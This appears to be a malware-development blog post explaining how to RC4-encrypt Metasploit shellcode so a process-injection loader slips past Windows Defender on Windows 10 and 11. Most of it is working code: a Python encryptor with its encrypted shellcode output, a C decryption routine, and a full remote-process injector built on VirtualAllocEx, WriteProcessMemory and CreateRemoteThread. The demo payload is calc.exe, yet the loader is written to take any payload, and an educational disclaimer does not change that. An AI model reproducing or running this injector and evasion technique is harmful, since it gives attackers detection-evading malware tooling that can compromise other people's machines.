WARNINGThis blog post is shared purely for learning and educational purposes. I do not support or take responsibility for any misuse or unethical actions performed using the information provided. Please use this knowledge responsibly and within legal boundaries.
Alright, earlier we talked about loader and process injection techniques, but as you probably noticed, once we compiled our code, Windows Defender flagged the binary as malicious and deleted. That’s because we embedded Metasploit shellcode directly into it. Since metasploit is a well known framework and most security tools already have signatures for its payloads.
So today, we gonna add payload encryption function to our previous code using RC4 encryption that can bypass detection and worked on window 11 as well.
Intro to RC4 Encryption
There any serveral ways to encrypt our payload but for this blog, I choose RC4 because it’s fast and efficient. And RC4 use bidirectional encryption algorithm which mean we can use the same function for encryption and decryption. You can read more about RC4 encryption online but this is out of scope for now.
And there are multiple ways online to implement RC4 encryption in C and I took the encryption code from xct’s blog and made a little bit changes to use in our code.
Encrypting Shellcode
First, generate the shellcode using msfvenom and use this python script to encrypt the payload.
#!/usr/bin/env python3
def rc4(data, key): keylen = len(key) s = list(range(256)) j = 0 # KSA for i in range(256): j = (j + s[i] + key[i % keylen]) % 256 s[i], s[j] = s[j], s[i] # PRGA i = 0 j = 0 encrypted = bytearray() for n in range(len(data)): i = (i + 1) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] encrypted.append(data[n] ^ s[(s[i] + s[j]) % 256]) return encrypted
pShellcode = bytearray([ 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0 # REPLACE YOUR SHELLCODE HERE FROM MSF
])
key = b"kernel32.dll" # set your secrypt key here for both encryption and decryptionencrypted = rc4(pShellcode, key)print("unsigned char encShellcode[] = {")
for i, b in enumerate(encrypted): if i % 16 == 0: print(" ", end="") print(f"0x{b:02X}, ", end="") if i % 16 == 15: print()print("\n};")
print(f"\nShellcode length: {len(encrypted)} bytes")And run it
shane@maldev /rc4 % python3 rc4.pyunsigned char encShellcode[] = { 0x68, 0x94, 0xDD, 0x9A, 0x55, 0xEA, 0xD3, 0x58, 0x82, 0xBB, 0xB1, 0x60, 0x2E, 0x4E, 0x64, 0x43, 0xE6, 0x00, 0x1E, 0xBC, 0xC0, 0xBD, 0xE5, 0x0D, 0xB5, 0x01, 0x67, 0x53, 0xE9, 0x2D, 0x82, 0x9E, 0xCF, 0x1A, 0xDE, 0x35, 0x0B, 0x86, 0xF0, 0xBF, 0x2B, 0xC4, 0x19, 0xDC, 0x0B, 0x82, 0x5A, 0xA8, 0x76, 0x79, 0xB1, 0x45, 0xFA, 0x50, 0x8D, 0x3E, 0x43, 0xD2, 0x95, 0xF1, 0x6B, 0xEA, 0x33, 0x9C, 0x32, 0xDA, 0x02, 0x8C, 0xEE, 0x06, 0x92, 0xC3, 0x0A, 0xC1, 0xDA, 0x32, 0x10, 0x8F, 0x55, 0x8C, 0xB6, 0x18, 0x06, 0x95, 0xC3, 0xA1, 0x06, 0x28, 0xCA, 0x89, 0xA2, 0xE8, 0xED, 0xA9, 0x08, 0x21, 0x86, 0x93, 0x17, 0x59, 0x1C, 0x66, 0x6A, 0x95, 0x8E, 0x17, 0x04, 0x69, 0xA3, 0x1E, 0x04, 0x17, 0x34, 0xCD, 0xF1, 0xD5, 0xA6, 0x92, 0x7B, 0x7E, 0x90, 0xD0, 0xFA, 0x19, 0x29, 0xE1, 0x0D, 0xE1, 0xF6, 0x3D, 0x7F, 0x19, 0x87, 0x78, 0x7A, 0x89, 0xEB, 0x16, 0xA6, 0x7F, 0xD7, 0xD9, 0xA4, 0x81, 0xC3, 0x7A, 0x9A, 0x65, 0x8F, 0x76, 0xE1, 0xA6, 0x51, 0xF9, 0xB4, 0xA9, 0x73, 0xC0, 0x92, 0xE7, 0x1B, 0x4C, 0x88, 0x64, 0xFA, 0x9D, 0x0F, 0xE2, 0x1B, 0x07, 0x2B, 0xFE, 0x44, 0xD1, 0x7F, 0x71, 0xD5, 0x88, 0xFA, 0x07, 0xFB, 0xB8, 0xF5, 0xD9, 0x49, 0x3F, 0x3E, 0x7F, 0x06, 0x8F, 0xB9, 0x73, 0xB1, 0xF4, 0xC8, 0x9A, 0xF7, 0x4D, 0xAD, 0x0E, 0xE9, 0x51, 0xE7, 0x01, 0x8B, 0xF2, 0x3A, 0x2C, 0x4D, 0x47, 0xEA, 0xFC, 0xF6, 0xF8, 0x68, 0x33, 0x24, 0xE9, 0xDE, 0xEA, 0x90, 0x56, 0x84, 0x72, 0xA1, 0x5E, 0x79, 0x25, 0x3A, 0x7E, 0x32, 0x59, 0xC2, 0xEF, 0x7B, 0x93, 0xDE, 0xE3, 0x5F, 0x16, 0xBF, 0x6F, 0xD8, 0x29, 0xFF, 0xEE, 0xA2, 0x74, 0x5A, 0x5F, 0x52, 0x0E, 0xEC, 0x5C, 0xA8, 0x98, 0x25, 0x8E, 0x27, 0x43, 0x17, 0x93, 0x20, 0x7A, 0x08, 0x0B, 0x2C, 0x00, 0xF6, 0x7C, 0x9D, 0x27,
};
Shellcode length: 272 bytesDecrypt Function in C
VOID RC4Decrypt(unsigned char* data, size_t data_len, const unsigned char* key, size_t keylen){ printf("[*] Decrypting the shellcode.\n"); unsigned char s[256]; int i, j; // KSA (Key-Scheduling Algorithm) for (i = 0; i < 256; ++i) s[i] = (unsigned char)i; j = 0; for (i = 0; i < 256; ++i) { j = (j + s[i] + key[i % keylen]) & 0xFF; // %256 unsigned char tmp = s[i]; s[i] = s[j]; s[j] = tmp; } // PRGA (Pseudo-Random Generation Algorithm) i = 0; j = 0; for (size_t n = 0; n < data_len; ++n) { i = (i + 1) & 0xFF; j = (j + s[i]) & 0xFF; unsigned char tmp = s[i]; s[i] = s[j]; s[j] = tmp; data[n] ^= s[(s[i] + s[j]) & 0xFF]; }}Now all we need to do is to call that function in our main before calling InjectRemoteProcess.
unsigned char key[] = "kernel32.dll"; // this is your keyRC4Decrypt(encShellcode, sizeof(encShellcode), key, strlen((char*)key));Full Source Code
#include <Windows.h>#include <stdio.h>#include <TlHelp32.h>#include <stddef.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -f cunsigned char encShellcode[] = { 0x68, 0x94, 0xDD, 0x9A, 0x55, // Replace your encrypted shellcode from python script output};
VOID RC4Decrypt(unsigned char* data, size_t data_len, const unsigned char* key, size_t keylen){ printf("[*] Decrypting the shellcode.\n"); unsigned char s[256]; int i, j; // KSA (Key-Scheduling Algorithm) for (i = 0; i < 256; ++i) s[i] = (unsigned char)i; j = 0; for (i = 0; i < 256; ++i) { j = (j + s[i] + key[i % keylen]) & 0xFF; // %256 unsigned char tmp = s[i]; s[i] = s[j]; s[j] = tmp; } // PRGA (Pseudo-Random Generation Algorithm) i = 0; j = 0; for (size_t n = 0; n < data_len; ++n) { i = (i + 1) & 0xFF; j = (j + s[i]) & 0xFF; unsigned char tmp = s[i]; s[i] = s[j]; s[j] = tmp; data[n] ^= s[(s[i] + s[j]) & 0xFF]; }}
DWORD FindProcessId(const wchar_t* processname){ HANDLE hProcessSnap; PROCESSENTRY32W pe32; DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hProcessSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hProcessSnap, &pe32)) { CloseHandle(hProcessSnap); wprintf(L"!!! Failed to gather information on system processes!\n"); return 0; }
do { if (wcscmp(processname, pe32.szExeFile) == 0) { result = pe32.th32ProcessID; //wprintf(L"Process ID: %lu\n", result); break; } } while (Process32NextW(hProcessSnap, &pe32)); CloseHandle(hProcessSnap); return result;}
// we create a function called InjectRemoteProcessBOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) { // open process to specify Pid HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); if (hProcess == NULL) { printf("[!] OpenProcess Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] OpenProcess to PID: %i \n", Pid); // allocating memory into a specific process id that you supply PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) { printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress); // write our shellcode into allocated memory if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) { printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress); // change to PAGE_EXECUTE_READWRITE DWORD dwOldProtection = NULL; if (!VirtualProtectEx(hProcess, pShellcodeAddress, pShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError()); return FALSE; } // create new thread into remote process printf("[i] Create remote thread to execute payload\n"); HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pShellcodeAddress, NULL, 0, NULL); if (hRemoteThread == NULL) { printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[i] Done\n"); CloseHandle(hProcess); CloseHandle(hRemoteThread); return TRUE;}
int wmain(int argc, wchar_t* argv[]){ if (argc != 2) { wprintf(L"Usage: %s <process_name.exe>\n", argv[0]); return 1; } const wchar_t* pName = argv[1];
DWORD dwProcessID = FindProcessId(pName); if (dwProcessID == 0) { wprintf(L"[!] Process %ls not found.\n", pName); return 1; } wprintf(L"[!] Process ID of %ls: %lu\n", pName, dwProcessID);
unsigned char key[] = "kernel32.dll"; RC4Decrypt(encShellcode, sizeof(encShellcode), key, strlen((char*)key));
SIZE_T pShellcodeSize = sizeof(encShellcode); // calling the function if (!(InjectRemoteProcess(dwProcessID, encShellcode, pShellcodeSize))) { return -1; } return 0;}Running the Binary
Now it’s time to run our binary with Windows Defender turned on.
Windows 10

Windows 11

Task for you
You can apply the same method to the shellcode loader that I covered in the first post of this series.